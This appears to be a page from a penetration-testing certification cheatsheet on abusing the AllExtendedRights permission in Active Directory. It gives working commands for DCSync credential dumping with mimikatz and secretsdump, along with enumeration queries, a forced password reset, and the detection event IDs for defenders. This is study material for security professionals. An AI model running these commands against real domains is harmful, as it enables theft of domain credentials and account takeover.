AD^:Active Directory

Attack #24 — AllExtendedRights DCSync ACE Abuse

AllExtendedRights is a blanket permission that grants every extended right on an AD object. When applied to the domain root object, this includes the two…

advancedupdated 2026-08-10Impacket · Mimikatz · BloodHound · PowerShell

🟡 Attack #24 — AllExtendedRights / DCSync ACE Abuse


📖 How It Works

AllExtendedRights is a blanket permission that grants every extended right on an AD object. When applied to the domain root object, this includes the two critical replication rights: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All — which is everything needed for DCSync. Unlike WriteDACL (where you ADD new ACEs), AllExtendedRights means you already have the DCSync permission implicitly — you can immediately run DCSync without any DACL modification.

This permission is also dangerous on user objects, where it grants User-Force-Change-Password (password reset) and User-Change-Password among other extended rights.

AllExtendedRights Impact by Target

TargetExtended Rights GrantedImpact
Domain root objectDS-Replication-Get-Changes + AllImmediate DCSync capability
User objectUser-Force-Change-PasswordPassword reset without knowing current password
Computer objectVariousRead LAPS password, modify delegation
Any objectAll extended rights for that object classFull extended right access

⚙️ Prerequisites

RequirementDetail
AllExtendedRights on domain rootFor DCSync — check via BloodHound or PowerView
Domain user accountThe principal with AllExtendedRights

💻 Full Commands

🔵 Enumerate AllExtendedRights

# ── Find who has AllExtendedRights on the domain root ─────────────────────────
Get-ObjectAcl "DC=corp,DC=local" -ResolveGUIDs | 
  Where-Object { $_.ActiveDirectoryRights -match "ExtendedRight" -and 
    $_.ObjectAceType -eq "00000000-0000-0000-0000-000000000000" } |
  ForEach-Object { 
    $_ | Add-Member -NotePropertyName Principal -NotePropertyValue (
      Convert-SidToName $_.SecurityIdentifier
    ) -PassThru
  } | Select-Object Principal, ActiveDirectoryRights
# ObjectAceType of all zeros = AllExtendedRights

🔴 Immediate DCSync (No ACL Modification Needed)

# ── If you have AllExtendedRights on domain root, just DCSync ─────────────────
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit
# ── Linux ─────────────────────────────────────────────────────────────────────
secretsdump.py corp.local/low_user:'Password1'@DC01.corp.local -just-dc-user krbtgt
# This works directly because AllExtendedRights = has replication rights

🔴 AllExtendedRights on User → Password Reset

Set-DomainUserPassword -Identity targetadmin -AccountPassword (
  ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
)

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4662Security Log (DC)Replication rights used — same as DCSync detection
4724Security Log (DC)Password reset (if used on user objects)

🔗 Attack Chain Context

[AllExtendedRights] ──→ Immediate DCSync or Password Reset
         │
         ├──→ 🩸 On domain root → DCSync without any ACL modification
         ├──→ 🔑 On user → password reset
         ├──→ 🔗 Differs from WriteDACL: no need to ADD rights, you already HAVE them
         └──→ 💀 Defeated by: audit who has AllExtendedRights, limit to legitimate accounts

✅ Attack #24 — AllExtendedRights Abuse complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.